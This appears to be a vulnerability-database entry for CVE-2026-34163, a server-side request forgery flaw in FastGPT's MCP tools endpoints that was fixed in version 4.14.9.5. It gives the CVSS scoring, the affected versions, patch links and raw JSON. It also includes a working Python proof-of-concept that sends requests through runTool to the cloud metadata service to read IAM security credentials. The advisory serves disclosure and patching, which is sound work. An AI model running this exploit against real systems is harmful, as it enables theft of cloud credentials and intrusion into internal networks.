Security Vulnerability Report
中文
CVE-2026-34163 CVSS 7.7 HIGH

CVE-2026-34163

Published: 2026-03-31 15:16:17
Last Modified: 2026-04-01 18:28:47

Description

FastGPT is an AI Agent building platform. Prior to version 4.14.9.5, FastGPT's MCP (Model Context Protocol) tools endpoints (/api/core/app/mcpTools/getTools and /api/core/app/mcpTools/runTool) accept a user-supplied URL parameter and make server-side HTTP requests to it without validating whether the URL points to an internal/private network address. Although the application has a dedicated isInternalAddress() function for SSRF protection (used in other endpoints like the HTTP workflow node), the MCP tools endpoints do not call this function. An authenticated attacker can use these endpoints to scan internal networks, access cloud metadata services, and interact with internal services such as MongoDB and Redis. This issue has been patched in version 4.14.9.5.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:* - VULNERABLE
FastGPT < 4.14.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://<fastgpt-host>/api/core/app/mcpTools/runTool" attacker_token = "<valid_auth_token>" # Internal target (e.g., Cloud Metadata Service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload construction payload = { "url": internal_target } headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34163", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:17.170", "lastModified": "2026-04-01T18:28:47.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. Prior to version 4.14.9.5, FastGPT's MCP (Model Context Protocol) tools endpoints (/api/core/app/mcpTools/getTools and /api/core/app/mcpTools/runTool) accept a user-supplied URL parameter and make server-side HTTP requests to it without validating whether the URL points to an internal/private network address. Although the application has a dedicated isInternalAddress() function for SSRF protection (used in other endpoints like the HTTP workflow node), the MCP tools endpoints do not call this function. An authenticated attacker can use these endpoints to scan internal networks, access cloud metadata services, and interact with internal services such as MongoDB and Redis. This issue has been patched in version 4.14.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.14.9.5", "matchCriteriaId": "DE20269A-5497-4727-B3DD-3EDC1E1F234E"}]}]}], "references": [{"url": "https://github.com/labring/FastGPT/commit/bc7eae2ed61481a5e322208829be291faec58c00", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/labring/FastGPT/pull/6640", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/labring/FastGPT/releases/tag/v4.14.9.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-x9vj-5m4j-9mfv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}